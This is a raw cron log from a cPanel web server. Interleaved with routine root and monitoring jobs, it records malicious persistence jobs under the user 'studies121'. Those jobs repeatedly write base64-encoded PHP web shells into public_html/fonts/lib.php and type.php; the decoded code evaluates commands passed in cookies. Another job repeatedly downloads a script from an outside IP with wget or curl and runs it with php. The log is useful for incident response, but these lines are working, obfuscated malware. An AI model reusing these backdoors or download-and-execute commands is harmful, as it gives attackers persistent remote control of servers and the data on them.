Aug 31 18:43:01 ip-184-168-122-23 CROND[12747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:43:01 ip-184-168-122-23 CROND[12750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:44:01 ip-184-168-122-23 CROND[13088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:44:01 ip-184-168-122-23 CROND[13089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:44:01 ip-184-168-122-23 CROND[13090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:44:01 ip-184-168-122-23 CROND[13087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:44:01 ip-184-168-122-23 CROND[13091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:45:01 ip-184-168-122-23 CROND[13182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:45:01 ip-184-168-122-23 CROND[13184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:45:01 ip-184-168-122-23 CROND[13187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:45:01 ip-184-168-122-23 CROND[13185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:45:01 ip-184-168-122-23 CROND[13186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:45:01 ip-184-168-122-23 CROND[13188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:46:01 ip-184-168-122-23 CROND[13363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:46:01 ip-184-168-122-23 CROND[13365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:46:01 ip-184-168-122-23 CROND[13367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:46:01 ip-184-168-122-23 CROND[13368]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:46:01 ip-184-168-122-23 CROND[13371]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 18:46:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:46:01 ip-184-168-122-23 CROND[13372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:47:02 ip-184-168-122-23 CROND[13490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:47:02 ip-184-168-122-23 CROND[13491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:47:02 ip-184-168-122-23 CROND[13493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:47:02 ip-184-168-122-23 CROND[13492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:48:01 ip-184-168-122-23 CROND[13577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:48:01 ip-184-168-122-23 CROND[13579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:48:01 ip-184-168-122-23 CROND[13576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:48:01 ip-184-168-122-23 CROND[13578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:48:01 ip-184-168-122-23 CROND[13580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:49:02 ip-184-168-122-23 CROND[13668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:49:02 ip-184-168-122-23 CROND[13672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:49:02 ip-184-168-122-23 CROND[13671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:49:02 ip-184-168-122-23 CROND[13670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:50:01 ip-184-168-122-23 CROND[13770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:50:01 ip-184-168-122-23 CROND[13775]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:50:01 ip-184-168-122-23 CROND[13777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:51:01 ip-184-168-122-23 CROND[13885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:51:01 ip-184-168-122-23 CROND[13887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:51:01 ip-184-168-122-23 CROND[13888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:51:01 ip-184-168-122-23 CROND[13889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:52:01 ip-184-168-122-23 CROND[14059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:52:01 ip-184-168-122-23 CROND[14060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:52:01 ip-184-168-122-23 CROND[14063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:52:01 ip-184-168-122-23 CROND[14061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:52:01 ip-184-168-122-23 CROND[14062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:53:02 ip-184-168-122-23 CROND[14150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:53:02 ip-184-168-122-23 CROND[14151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:53:02 ip-184-168-122-23 CROND[14153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:53:02 ip-184-168-122-23 CROND[14155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:54:01 ip-184-168-122-23 CROND[14240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:54:01 ip-184-168-122-23 CROND[14243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:54:01 ip-184-168-122-23 CROND[14242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:54:01 ip-184-168-122-23 CROND[14244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:54:01 ip-184-168-122-23 CROND[14241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:55:01 ip-184-168-122-23 CROND[14335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:55:01 ip-184-168-122-23 CROND[14337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
